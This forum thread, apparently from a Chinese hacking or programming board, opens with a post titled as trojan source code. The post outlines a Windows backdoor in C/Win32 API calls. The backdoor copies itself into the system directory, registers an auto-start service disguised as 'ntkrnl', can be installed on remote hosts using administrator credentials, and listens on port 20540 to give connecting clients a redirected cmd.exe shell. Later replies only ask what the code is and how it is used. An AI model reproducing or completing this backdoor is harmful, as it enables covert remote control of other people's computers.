天乐 发表于 2009-9-6 23:53:34

一小段木马源代码:

适用平台为Windows2000/XP。它可自动为   
远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。   
1.自定义数据结构与函数   
typedef   struct   
{   
HANDLE   hPipe;   
//为实现进程间通信而使用的管道;   
SOCKET   sClient;   
//与客户端进行通信时的客户端套接字;   
}SESSIONDATA,*PSESSIONDATA;   
//重定向Cmd标准输入/输出时使用的数据结构;   
   
typedef   struct   PROCESSDATA   
{   
HANDLE   hProcess;   
//创建Cmd进程时获得的进程句柄;   
DWORD   dwProcessId;   
//创建Cmd进程时获得的进程标识符;   
struct   PROCESSDATA   *next;   
//指向下一个数据结构的指针;   
}PROCESSDATA,*PPROCESSDATA;   
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;   
   
void   WINAPI   CmdStart(DWORD,LPTSTR   *);   
//服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;   
void   WINAPI   CmdControl(DWORD);   
//服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;   
DWORD   WINAPI   CmdService(LPVOID);   
//服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;   
DWORD   WINAPI   CmdShell(LPVOID);   
//创建管道与Cmd进程,及Cmd的输入/输出线程;   
DWORD   WINAPI   ReadShell(LPVOID);   
//重定向Cmd的输出,读取信息后发送到客户端;   
DWORD   WINAPI   WriteShell(LPVOID);   
//重定向Cmd的输入,接收客户端的信息输入到Cmd进程;   
BOOL   ConnectRemote(BOOL,char   *,char   *,char   *);   
//如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;   
void   InstallCmdService(char   *);   
//复制传送文件,打开服务控制管理器,创建或打开服务程序;   
void   RemoveCmdService(char   *);   
//删除文件,停止服务后,卸载服务程序;   
   
2.服务程序相关函数   
SERVICE_TABLE_ENTRY   DispatchTable[]   =   
{   
{"ntkrnl",CmdStart},   
//服务程序的名称和入口点;   
{NULL   ,NULL   }   
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;   
};   
StartServiceCtrlDispatcher(DispatchTable);   
//连接服务控制管理器,开始控制调度程序线程;   
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);   
//注册CmdControl函数为“HandlerEx”函数,并初始化;   
ServiceStatus.dwCurrentState   =   SERVICE_RUNNING;   
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);   
//设置服务的当前状态为SERVICE_RUNNING;   
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);   
//创建服务主线程,实现后门功能;   
WaitForSingleObject(hMutex,INFINITE);   
//等待互斥量,控制全局变量的同步使用;   
TerminateProcess(lpProcessDataHead->hProcess,1);   
//终止创建的Cmd进程;   
hSearch=FindFirstFile(lpImagePath,&FileData);   
//查找系统目录下服务程序的文件是否已经存在;   
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);   
//获得当前进程的程序文件名;   
CopyFile(lpCurrentPath,lpImagePath,FALSE);   
//复制文件到系统目录下;   
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);   
//打开服务控制管理器数据库;   
CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);   
//创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;   
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);   
//如果服务已经创建,则打开服务;   
StartService(schService,0,NULL);   
//启动服务进程;   
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);   
//控制服务状态;   
DeleteService(schService);   
//卸载服务程序;   
DeleteFile(lpImagePath);   
//删除文件;   
   
3.后门程序相关函数   
hMutex=CreateMutex(NULL,FALSE,NULL);   
//创建互斥量;   
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);   
//创建处理客户端访问的重定向输入输出线程;   
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);   
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);   
//创建用于进程间通信的输入/输出管道;   
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);   
//创建经重定向输入输出的Cmd进程;   
hThread=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);   
hThread=CreateThread(NULL,0,WriteShell,(LPVOID   *)&sdWrite,0,&dwReavThreadId);   
//创建处理Cmd输入输出的线程;   
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);   
//等待线程或进程的结束;   
ReleaseMutex(hMutex);   
//释放互斥量;   
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);   
//从管道中复制数据到缓冲区中,但不从管道中移出;   
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);   
//从管道中复制数据到缓冲区中;   
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);   
//向管道中写入从客户端接收到的数据;   
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);   
//与远程主机建立连接;   
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);   
//与远程主机结束连接;

光之驾驭者 发表于 2010-2-20 21:08:50

能解释一下这是写在什么中的代码吗?

shuowang.silent 发表于 2010-3-9 17:34:23

解释一下吧,这不明白啊!

xiaoshao 发表于 2010-3-9 20:09:39

是啊!我也是不明白啊!

↙﹏瞬间℡ 发表于 2010-6-3 19:59:51

不怎么懂!!!

网桥 发表于 2010-6-4 13:40:55

的确是看不明白

starfei1314 发表于 2010-6-4 15:28:49

这是干什么的呀?怎样使用呢?

FrenzyDevil 发表于 2010-8-10 20:29:49

看不懂正常,要windows编程的基础

youlexuan6633 发表于 2010-8-21 10:19:21

学习。。学习。。。

腾飞2010 发表于 2010-8-30 15:07:34

是哪种程序语言。
页: [1] 2
查看完整版本: 一小段木马源代码: